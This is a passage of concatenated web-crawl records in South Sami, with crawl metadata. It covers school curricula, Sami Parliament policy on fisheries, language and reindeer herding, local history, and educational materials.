vijriesåbpoe evtiesuvvieh orre vïhtesjimmiej, haarjanimmiej jïh åssjaldahki tjirrh. Akte vihkeles bielie dehtie sïejhme daajroste lea daejredh eatnemedaejreme lea evtiedimmesne, jïh dotkeme jïh orre daajroe eatnemedaejriemisnie jïh teknologijesne leah joekoen vihkeles siebriedahken evtiedæmman jïh jieledebyjresasse.\nJalhts eatnemedaejreme lea ovmessie faagebieline juakasovveme, goh biologije, fysihke jïh kjemije jïh geofaage, dle ulmie lea skuvlefaage eatnemefaage dovne teoretihkeles jïh praktihkeles vååjnoeh goh akte ållesth faage.\nDaajroe jïh goerkese eatnemen bïjre jïh dåårjese eatnamisnie maahta væljoem skreejrehtidh eatnemevierhtide vaarjelidh, dam biologeles gellievoetem vaarjelidh jïh aktine monnehke evtiedimmine viehkiehtidh. Daan sjïekenisnie saemieh jïh jeatjah aalkoealmetjh daajroem utnieh eatnemen bïjre maam tjuara seahkaridh. Seamma tïjjen dle eatnemefaage edtja viehkiehtidh guktie maanah jïh noerh daajroeh jïh vuajnoeh evtiedieh, mah dejtie aktem eensi vuajnoem vedtieh dan ektiespïelese eatnemen, almetjen, teknologijen, siebriedahken jïh dotkemen gaskem. Daate lea vihkeles ihke fïerhte almetje edtja nuepieh utnedh ovmessie såarhts eatnemedaejremen jïh teknologeles bïevnesh guarkedh. Daate edtja fïerhten almetjasse aktem våaromem vedtedh meatan årrodh prosessine siebriedahkesne.\nDovne dæjpeleslaakan jïh teorijen mietie barkedh ovmessie dåeriesmoerigujmie laboratovrijinie jïh eatnamisnie lea daerpies jis edtja dååjrehtimmiem åadtjodh, jïh daajroem evtiedidh vuekiej jïh ussjedimmievuekiej bïjre eatnemedaejriemisnie. Daate maahta viehkiehtidh skaepiedihksvoetem evtiedidh, laejhtehkslaakan ussjedidh, eerlege årrodh jïh eadtjohkelaakan meatan årrodh desnie gusnie eatnemefaageles daajroe jïh maehtehtjevoete leah meatan. Jeereldihkie lïerehtimmiebyjresh goh feeltebarkoe eatnamisnie, laboratorijinie eksperimenteradidh jïh museumidie, daejremejarngide jïh sïeltide mïnnedidh, sæjhta lïerehtimmiem eatnemefaagesne ræjhkoesåbpoe darjodh, jïh nuepiem vedtedh ussjedidh, tjetskehke jïh heehkehts årrodh. Maahtoe utnedh ovmessie såarhts tjaalegh, vuekieh jïh teknologeles raerieh guarkedh aktem hijven våaromem vadta barkoefaageles ööhpehtimmide, vielie lohkedh jïh barkosne jïh eejehtallemisnie lïeredh abpe jieledem.\nSide 1 Av 13","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.udir.no\/kl06\/NAT2-03\/Hele\/Formaal?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-09-19T09:05:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400191160.14\/warc\/CC-MAIN-20200919075646-20200919105646-00189.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":403,"character_repetition_ratio":0.068,"word_repetition_ratio":0.005,"special_characters_ratio":0.132,"stopwords_ratio":0.171,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien politihke marijne jielemi sisnjeli lea gellie jaepie orreme saemiej göölemereaktah gorredidh.\nSaemiedigkie stoerre vierhtieh nuhtjeme göölemepolitihkem evtiedidh mestie gåarede gööledh voenges sijjine. Daate dorjesovveme akten eensi reeremen tjïrrh dejstie marijne vierhtijste, viehkine årroji ektie reaktavåaromem nænnoestidh jïh dåarjoevierhtiej tjïrrh. Saemiedigkie annje barka akten nænnoesåbpoe gårreldimmien åvteste reeremisnie guelievierhtijste. Destie göölijh edtjieh stuerebe faamoem jïh baajnehtimmiefaamoem åadtjodh gosse edtja vierhtieåtnoem nænnoestidh.\nSaemiedigkie ahkedh barka ihke årrojh jïh göölijh mearoesaemien dajvine åadtjoeh sijjen reaktam nuhtjedh mejtie åådtjeme guhkies åtnoen jïh provhken tjïrrh, göölemasse jïh åtnose dejstie marijne vierhtijste sijjen dajvine. Dan sisnie aaj reaktah mearoeloesegöölemasse. Reakta dejnie ovmessie gööleminie edtja namhtah årrodh jïh dan stoerre guktie gåarede destie jieledh, jïh dan tjïrrh aaj orre göölijidie sjïehteladtedh.\nSaemiedigkie lea barkoem prioriteradamme juktie raerieh gaavnedh mah maehtieh viehkiehtidh daam reaktam gorredidh.\nFïerhten jaepien budsjedti tjïrrh Saemiedigkie vierhkievierhtieh marijne jieliemidie lyjke. Dåarjoem vedtedh skåårvemidie göölemevïnhtside, voenges dåastoehtimmiesijjieh orrestidh jïh viehkiehtidh dorjesh marijne jielemen sisnjelen evtiedidh, Saemiedigkie viehkehte göölemebyjresh tjåadtjoehtidh jïh nænnoestidh saemien mearoegaedtie- jïh fjovlesiebriedahkine.\nLohkh Saemiedigkien fïerhtenjaepien aamhtesem göölemen bïjre daesnie:\nJaepien 2019","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/sametinget.no\/jieleme\/marijne-jielemh\/","date":"2020-12-05T12:43:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141747774.97\/warc\/CC-MAIN-20201205104937-20201205134937-00647.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":169,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Gåalmeden jaepien iktemearan edtjebe Gïelevåhkoem heevehtidh. Mijjieh sïjhtebe aerpievuekiem tseegkedh juktie ïedtjem saemien gïeli åvteste evtiedidh, jïh sjollehke vuejnedh ïedtje saemien gïelh våajnoes darjodh læssene jaepeste jaapan, saemiedigkiepresideente Aili Keskitalo (NSR) jeahta.\nEktie noerhtelaanti laavenjostoe\nGïelevåhkoe lea ektie noerhtelaanti laavenjostoe gusnie Nöörjen, Sveerjen jïh Soemen Saemiedigkieh leah skraejriem vaalteme saemien gïelide heevehtidh voengesne, regijonaale jïh nasjonaale. Ulmie saemien gïelevåhkojne lea saemien gïelh våajnoes darjodh stoerreseabradahkesne, voerkesvoetem lissiehtidh saemien gïeli bïjre jïh åtnoem saemien gïelijste lissiehtidh. Saemiedigkie sæjhta saemien gïelh edtjieh vååjnedh jïh govledh gaajhkine seabradahkesuerkine – bovrine, medijinie, ovmessie kultuvreöörneminie jïh sosijaale medijinie. Sae miedigkie haasta dan åvteste privaate jïh byögkeles aktöörh jïh institusjovnh meatan årrodh saemien gïelh våajnoes darjodh gïelelåhkoen.\n- Saemien institusjovnh jïh aktöörh mah saemien nuhtjieh jïh saemien våajnoes darjoeh aarkebiejjien leah joekoen vihkele daennie barkosne, jïh mijjieh gegkiestibie doh jeanatjommesh sijhtieh viehkiehtieh mijjen saemien gïelh lutnjedh jïh våajnoes darjodh dovne fysiske öörnemi tjïrrh jïh sosijaale medijinie, Keskitalo jeahta.\nOhtsh dåarjoem Saemiedigkeste\nSaemiedigkie almetjidie haasta gïelejarngigujmie jallh jeatjah tjïertigujmie jïh siebriejgujmie sijjen voengesne gaskesadtedh juktie bïeljelidh sijjieh ïedtjem utnieh meatan årrodh gïeleheevehtimmesne våhkoen 43, jallh maehtieh jïjtjh aaj skraejrieh raeriestidh. Organisasjovnh jïh siebrieh maehtieh dåarjoem ohtsedh gïeleråajvarimmide Saemiedigkeste, Gïelevåhkoen sjïekenisnie.\n- Maahta dan aelhkie årrodh goh buerie båeteme saemien gïelesne tjaeledh dov prïhtjhgåetien ålkolen, jallh maam akt dov nedtesæjroste saemiengïelese jarkoestidh. Voenges plaerie maahta sov åvtesæjroem saemiengïelesne darjodh, jallh maahta gïeleprïhtjhgåetiem öörnedh. Gellie nuepieh dejtie mah sijhtieh meatan årrodh saemien gïelide heevehtidh, saemiedigkiepresideente Aili Keskitalo jeahta.\nVielie bïevnesh Saemiedigkien dåarjoeöörnegen bïjre gaavnh mijjen nedtesæjrojne daesnie.\nGovlehtallije aamhtesen bïjre: Saemiedigkiepresideente Aili Keskitalo, tlf: 971 29 305, jallh e-påaste: email@example.com","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/sametinget.no\/saernieh\/saemiedigkie-saemien-gielevahkojne-jaarhka-daeredh-datne-aaj.14258.aspx","date":"2021-04-22T14:12:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039610090.97\/warc\/CC-MAIN-20210422130245-20210422160245-00179.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":254,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie Silje Karine Muotka (NSR)Saemiedigkie lea prioriteeremidie jïh njoelkedasside båatsoen dåarjoeöörnegasse jarkelamme. Daelie maahta gaskem jeatjah dåarjoem skåårvemidie åadtjodh orresjugniedæmman jïh evtiedæmman båatsosne. Skåårvemh maehtieh vuesiehtimmien gaavhtan årrodh skovterehæhtjoeh jallh jeatjah skåårvemh mejtie båatsosne daarpesje, goh gealhka jïh jeatjah dalhketjh mah eah leah vuajastahkh. Gaajhkesh mah åejviebaalhkam båatsoste utnieh maehtieh daan dåarjoen bïjre syökedh.\n– Saemiedigkien gaavhtan vihkele saemien aalkoejielemh jïh almetjh prioriteeredh mah dejnie berkieh. Båatsoen leah evtiedimmienuepieh, jïh mijjieh daejrebe båatsosne gellie noere jïh kreatijve almetjh. Sïjhtebe båatsoeburrieh dåarjoehtidh mah leah innovatijve jïh sijhtieh sijjen jielemem evtiedidh, saemiedigkieraerie Silje Karine Muotka (NSR) jeahta.\nMaahta aaj dåarjoen bïjre syökedh råajvarimmide jïh prosjektide mah lissiehtamme vihtiestimmiem vedtieh juvreteehpemijstie, jallh råajvarimmide mah lissiehtamme ïedtjem, barkoem jïh radtjoestimmiem vedtieh lisense- jïh kvotavijremistie juvride.\nAerpievuekien daajroe lea nænnoes båatsosne. Saemiedigkie sæjhta dam nænnoestidh, lissine fuelhkiebåatsoem.\n– Aerpievuekien daajroe lea våarome båatsoen maahtosne. Dïhte mijjen aerpie, jïh vihkele dam vaarjelidh. Maahta dåarjoen bïjre syökedh råajvarimmide mah ulmiem utnieh aerpievuekien daajroem lïeredh jallh lïerehtidh, Muotka jeahta.\nMaahta aaj dåarjoen bïjre syökedh prosjektide jïh råajvarimmide mah aerpievuekien daajroem fuelhkiebåatsosne nænnoestieh.\n– Mov håhkoe lea båatsoe vuajna mijjieh aaj dejtie prioriteerebe mah dejnie barkeminie, mejtie båatsoe lea dej aajnehke barkoe jallh dah fuelhkielïhtseginie båatsosne berkieh, dan åvteste dah aktem vihkeles barkoem saemien seabradahkesne darjoeh, Muotka jeahta.\nBåatsoen dåarjoeöörnege ræhpas ohtsememierien åtna.\nJis gyhtjelassh jallh gihtjehtimmie, gaskesadth saemiedigkieraeriem Silje Karine Muotka (NSR), tellefovne: +47 984 87 576, jallh e-påaste: firstname.lastname@example.org\nOhtsh dåarjoem","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/sametinget.no\/saernieh\/orre-prioriteeremh-saemiedigkien-daarjoeoornegisnie-baatsose.14810.aspx","date":"2021-05-15T09:18:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243991378.48\/warc\/CC-MAIN-20210515070344-20210515100344-00185.warc.gz","language":"sma","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000029802322388}","num_words":227,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NetSam- viermie saemien lïerehtæmman\nJarnge lea viermien tjaelemesijjie.\nBarkoe viermine eelki goevten 2013, gosse akte dåehkie lohkehtæjjijste veeljesovvi akten barkoedåahkan mij aalkovinie barki. Dåehkie barki goske viermie tseegkesovvi skïereden 2013, jïh ståvroelïhtseginie jåarhki dennie orretseegkeme viermesne. Viermie akte nasjovnaale viermie mij edtja nåhtojne årrodh lohkehtæjjide mah saemien gïelem ööhpehtimmesne nuhtjieh jïh saemien gïelesne ööhpehtieh.\nJarnge lea aalkovebarkoedåehkiem maakseme jïh stuvreme. Viermie beetnehdåarjoem tseegkemasse Saemiedigkeste åadtjoeji. Jaepien 2014 viermie 300 000 kråvnah Saemiedigkeste åadtjoeji.\nVielie viermien bïjre gååvnese viermien jïjtse sæjrosne, lohkh vielie daesnie.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/lohkanguovddas.no\/sma\/prosjekth\/netsam-viermie-saemien-lierehtaemman","date":"2021-09-29T02:03:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780061350.42\/warc\/CC-MAIN-20210929004757-20210929034757-00619.warc.gz","language":"sma","language_score":0.9999928474,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999992847442627}","num_words":78,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hei! Saemien tsïeglh 2021\/2022: Ane Malene Nordeng, Nathaniel Holan Larsen, Ida Emilie Marakatt Lindseth jih Emma Elliane Oskal Valkeapää. Daesnie maahtah vielie lohkedh dej orre saemien tsïegli bïjre juktie buerebelaakan dejgujmie åahpenidh. Diedtieh daase juktie vielie vuejnedh Nathaniel Holan Larsen 20 jaepie Áravuopmi Dåeredh mijjem Snapchatesne Goerehth kaarhtem Láhppi Mátta-Várjjat Deatnu\/Buolbmát Unjárga Kárášjohka Guovdageaidnu Jáhkovuotna Gárasavvon","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/samiskeveivisere.no\/sma\/","date":"2021-11-29T09:00:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358702.43\/warc\/CC-MAIN-20211129074202-20211129104202-00007.warc.gz","language":"sma","language_score":0.9537286758,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9537286758422852, \"sme_Latn_score\": 0.043649084866046906}","num_words":54,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":0.975,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarhskuvlesijjiem ohtsedidh\nEdtjh tjaaleldh ohtsedidh sjïere goerine maam seedth jallh jïjtje vadtah Barn- jïh utbildningsförvaltningens kontovrese, Skolgatan 1.\nGoerh gååvnesieh Barn- jïh utbildningförvaltningens kontovresne, gaajhkine aarhskuvline jïh mijjen hïejmesæjrosne. Daamhtaj gaajhkh åadtjoeh sijjiem maanahoksesne njieljie aski raejesne mænngan ohtsedamme.\nSijjiem vadtasovvedh\nSijjie vadtasåvva biejjeste maam daarpesjieh jïh vuerpiedatumistie. Jis jïjnjh maanah vuerpesne sjidtieh lohkiji \/ barkiji maanah prioriteeridh.\nSkuvlelaaken mietie edtja aarhskuvledarjomem jïh skuvlemaanahoksem faalehtidh dan guhkiem goh eejhtegh daarpesjieh barkoen jallh lohkemen mietie jallh maanan jïjtje daerpiesvoeten mietie. Edtja dan gaavhtan seamadimmiem årrodh maanan tïjje aarhskuvlesne jallh skuvlemaanahoksesne jïh eejhtegi barkoetïjje, lissine feelemetïjje barkosne \/ lohkemisnie mïnnedh.\nSijjiem loetedh\nSijjiem loetedh edtjh tjaaleldh darjodh minngemes göökte askh åvteli maana\/maanah edtja orrijidh. Goere dïsse gååvnese mijjen hïejmesæjrosne, fïerhten aarhskuvle-goevtesisnie, jïh Barn- jïh utbildningsförvaltningens kontovresne, Skolgatan 1.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/asele.se\/saepmie\/aarhskuvle-forskola\/aarhskuvlesijjiem-ohtsedidh\/","date":"2022-01-26T11:43:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304947.93\/warc\/CC-MAIN-20220126101419-20220126131419-00116.warc.gz","language":"sma","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000056028366089}","num_words":122,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åesiestæjjah jïh vætnarassjh staaresne\nGaskoeh 1800-låhkoen raajan lij ajve åesiestæjjah jïh vætnarassjh gïeh åadtjoejin jielemedarjomh gïehtelidh staarine.\nÅesiestæjja jïh vætnarassjh gie sijhti sïeltem tseegkedh staaresne tjoeri voestegh burskapem ohtsedidh. Vætnarassjh tjoerin jeenjemasth mïestereprieviem utnedh, vïhtesjimmie mij jeehti dah dej barkoem meehtin, dah lin professjonaale. Guktie orre köpingem Orrestaare viehkehti idtji dejnie pryjjh jïh baajin gaajhkh gïeh sïjhtin sïeltine aelkiestin. Destie sjïdti jïjnjh noerh böötin jïh sïjhtin læhkoem pryövedh, men lin dovres materijaalem åestedh jïh gåetiem bigkedh, dah idtjin maehtieh maeksedh. Dellie jïjnjh konkursh sjïdtin dennie noere köpingisnie. Jeenjemes båantah jïh trïengkh dajvesne lin vaane skååffedh mah daarpesjin mubpede lehkeste.","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/nolavonda.se\/sma\/aesiestaejjah-jih-vaetnarassjh-staaresne","date":"2022-05-29T03:08:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663035797.93\/warc\/CC-MAIN-20220529011010-20220529041010-00159.warc.gz","language":"sma","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000064373016357}","num_words":99,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dette faget følger en utgått læreplan.\nDaennie teemesne datne åadtjoeh lyrihken bïjre lohkedh. Datne maahtah faage-tjaalegem lyrihken bïjre lohkedh jïh dikth lohkedh. Datne åadtjoeh aaj lïeredh guktie maahtah diktem analyseradidh jïh lissine maahtah laavenjassh darjodh.\nNjaalmeldh soptsestimmie-kåanste jïh joejkeme-poesije leah sjangerh mejtie saemieh nuhtjeme. Joejkeme-teeksth jïh soptsesh leah dah båarasommes tjiehpies-lidteratuvre tjaalegh mejtie mijjieh utnebe. Dan gaavhtan maehtebe jiehtedh saemien tjiehpies-lidteratuvre tjaeleme-kultuvren lea orre.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ndla.no\/subject:1:b8a448f0-e251-41ea-af1c-b2fd62a89828\/topic:6:172396\/topic:6:182173\/","date":"2022-05-27T21:22:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663006341.98\/warc\/CC-MAIN-20220527205437-20220527235437-00105.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":64,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"28\/06\/2019 Anne Berit Anti Tjaktjen Tjåanghkoe stuerebe stuerebe sjædta Skïereden Tjaktjen Tjåanghkoe – åarjelsaemien tjaktjefestivaale Snåasesne. Daan tjaktjen festivaale fryöjstoe vihkeles faageseminaarigujmie, noerekonferansine jïh mijjen supernaestine Ella Marie Hætta Isaksen jïh ISÁK. You need to be connected to see this content. If you already have a subscription plan, click here to Login Otherwise, you need to purchase a subscription to see the contents. Shop","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/tjaktjen-tjaanghkoe-stuerebe-stuerebe-sjaedta\/","date":"2022-07-01T05:16:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103920118.49\/warc\/CC-MAIN-20220701034437-20220701064437-00171.warc.gz","language":"sma","language_score":0.8843684196,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.8843684196472168, \"sme_Latn_score\": 0.07851444184780121}","num_words":62,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.954,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuelkijh\nVuelkijeåålmeh, mïsse Theresia govlesåvva, lea Sveerjesne orreme unnemes 500 jaepieh. Gosse mijjieh dejtie ohtsedibie båeries soptsestimmine dellie gellien aejkien dejtie gohtjedin tattare. Dah jieliejin siebriedahken raedtesne jïh gellie båantaåålmegisnie dejtie ålkoestin. Dah vuelkijh barkin ovmessie darjomigujmie mejnie idtjin båantah ovmessie sjïekijste sïjhth darjodh, vuesiehtimmien gaavhtan hierkieh gaetskedh jïh leekedh. Naan vuelkijh lin beagkoes dej medisijnen maahtoen åvteste jïh lin dajven \"jiermie-almetje\". Sïejhme darjome lij ovmessie maarhnaj gaskoeh vuelkedh jïh jïjtje jallh mubpiej vaaroeh doekedh.\nGïeh vuelkijh leah dan bïjre jienebh teorijh gååvnesieh jïh dej jïjtje gaskoeh dah vuajnoeh joekehts. Goh sïejhme mijjen almetji bïjre funterdibie ij leah ajve akte mij saetnies. Akte teorije lea baantem gååvnese vuelkiji jïh romeri gaskem. Dah juekieh bieleste gïelem jïh aerpievuekieh jïh gååvnesieh laahkoeh dåehkiej gaskoeh. Mubpieh mielieh vuelkijh leah almetjh ovmessie sjïekijste båantasiebriedahkeste treegkesovveme, jïh dan gaavhtan tjoerin geajnoej mietie vuelkedh jïh dejnie vuekien jieledh. Dah dåahkan aktanieh dej jielemevuekien tjïrrh. Gåalmede teorije lea dah aalkovisnie lin soldaath fuelhkiejgujmie gïeh dïenesjin ovmessie armee'ine jïh dejnie vuekine dej jielemevuekiem nemhtie sjïdteme.","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/nolavonda.se\/sma\/vuelkijh","date":"2022-07-05T06:12:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104514861.81\/warc\/CC-MAIN-20220705053147-20220705083147-00324.warc.gz","language":"sma","language_score":0.9999665022,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999665021896362}","num_words":166,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Mikkelsen, Anstein Bertije Iđut Vaadtasovvemejaepie 2011 Faage Eatnemefaage Saemien 1 Saemien 2, 3 jïh 4 Båatsoe jïh design Daltese 5-7 8-10 VGS Giele Noerhtesaemiengïele ISBN 978-82-7601-197-5 Tïjje 00:29:00 Formaate DVD Reakta-aajhtere Iđut Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Ijje Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Njaalmeldh kultuvre Kultuvre Filme Aarhte jïh daajroe Eatnemefaage Saemiengïele heevehtslitteratuvre Viehkiebaakoe Jemhkels tïjje Aske Heamture Naestie Goeksegh","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ovttas.no\/sma\/filbma_skabma-morketid","date":"2022-08-12T06:29:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571584.72\/warc\/CC-MAIN-20220812045352-20220812075352-00452.warc.gz","language":"sma","language_score":0.9994564652,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9994564652442932}","num_words":52,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19\/07\/2019 Anne Berit Anti Sïejhme vuajnoe Saepmesne sjïdteme Tjuara ajve haarjanidh Kristeles Åålmegekrirrien Dagfinn Høybråtenem vuejnedh akten dueljien nelnie låavthgåetien ålkolen jïh maaje saemien festivaalesne. Dïhte gidtjh Saetniesvoete- jïh Liktemekommisjovnen åvtehke jïh stillemem daaroedehtemem goerehtidh joekoen itjmieslaakan vaalta. You need to be connected to see this content. If you already have a subscription plan, click here to Login Otherwise, you need to purchase a subscription to see the contents. Shop","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/siejhme-vuajnoe-saepmesne-sjidteme\/","date":"2022-08-11T11:59:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571284.54\/warc\/CC-MAIN-20220811103305-20220811133305-00268.warc.gz","language":"sma","language_score":0.9968025088,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9968025088310242}","num_words":69,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne bïevnesh åadtjoeh tsaekeme lea riejries SMS:n tjïrrh (såemies fylhkine e-påastesne). Loggh sïjse vigo.no MinID:ine juktie gaavnedh mah faalenassh datne leah åådtjeme jïh juktie faalenassese vaestiedidh sijjien jïh\/jallh vuertemelæstoesijjien bïjre.\n- Faalenasse sijjien bïjre dov voestes sjaavnjose? Datne byörh jaavoe vaestiedidh. Ih faalenassem sijjien bïjre åadtjoeh vueliehkåbpoe sjaavnjojde.\n- Faalenasse sijjien bïjre vueliehkåbpoe sjaavnjosne jïh vuertemelæstoesijjesne jollebe sjaavnjosne? Datne byörh jaavoe vaestiedidh gåabpagidie. Men jis mænngan faalenassem åadtjoeh sijjien bïjre jollebe sjaavnjosne, ih vielie sijjiem utnieh mïsse jaavoe vaestiedih aarebi.\n- Ajve faalenasse vuertemelæstoesijjien bïjre? Datne byörh jaavoe vaestiedidh. Jis ijje vaestedh, datne olkese vaaltasovvh tsaekemesysteemeste.\nVaestiedimmiemierie\n- Datne tjoerh faalenassese sijjien bïjre vaestiedidh medtie akten våhkoen mænngan faalenassem åådtjeme.\n- Maahtah faalenassem sijjien jïh\/jallh vuertemelæstoesijjien bïjre dassedh jis ih mierien åvtelen vaestedh.\n- Maahtah åvtelhbodti vaestiedassem registreeredh daesnie vigo.no.\nVelg fylket ditt!\nDisse fylkene har tilleggsinformasjon til dette punktet:","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/guktie-vaestedh\/a\/033018","date":"2022-08-16T01:47:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572215.27\/warc\/CC-MAIN-20220815235954-20220816025954-00692.warc.gz","language":"sma","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000029802322388}","num_words":134,"character_repetition_ratio":0.128,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Description\nAlmetjehealsoen jïh jieledehaalvemen bïjre jïh Demokratijen jïh meatanårrojevoeten bïjre. Aamhtesidie laavenjassh jïh maahtoeulmieh.\n|Demokratijen jïh meatanårrojevoete||Almetjehealsoen jïh jieledehaalveme|\n|Saemiedigkien posisjovne||Laavenjassh||Aemielueseme||Laavenjassh|\n|Geajnoe saemien reaktide||Laavenjassh||Vædtsoesvoete||Laavenjassh|\n|Reakta eatnamasse jïh tjaatsan daanbien||Laavenjassh||Vælnjan||Laavenjassh|\n|Geajnoe jïjtse gïelese||Laavenjassh||Saemievæssjoehtimmie||Laavenjassh|\nProsjekten bïjre:\nProsjekten aajhtere: ABC-Company E-skuvla AS jïh Filmkonsulentene AS\nProdusente: Gro Setereng Scheel\nManuse jïh bïhkedimmie: Pernille Rivedal Hellevik ja Lowri Rees\nLaavenjassh jïh referansedåehkie: Sanna Länsman Sara\nÅarjelsaemien jarkostæjja: Ellen Jonassen\nÅarjelsaemien tjoeje: Tåamma Bransfjell\nJulevsaemien jarkostæjja jïh tjoeje: Stig Riemmbe Gaelok\nNoerhtesaemiengïelen jarkostæjja jïh tjoeje: Kirsi Paltto\nAnimasjovne: Andreas Odden Krogsæther\nTjoehpeme: Sigga Magga Thorkelsdottir\nBeetnehdåarjoje: Saemiedigkie\nMijjieh gijtebe: Knut Hamsun 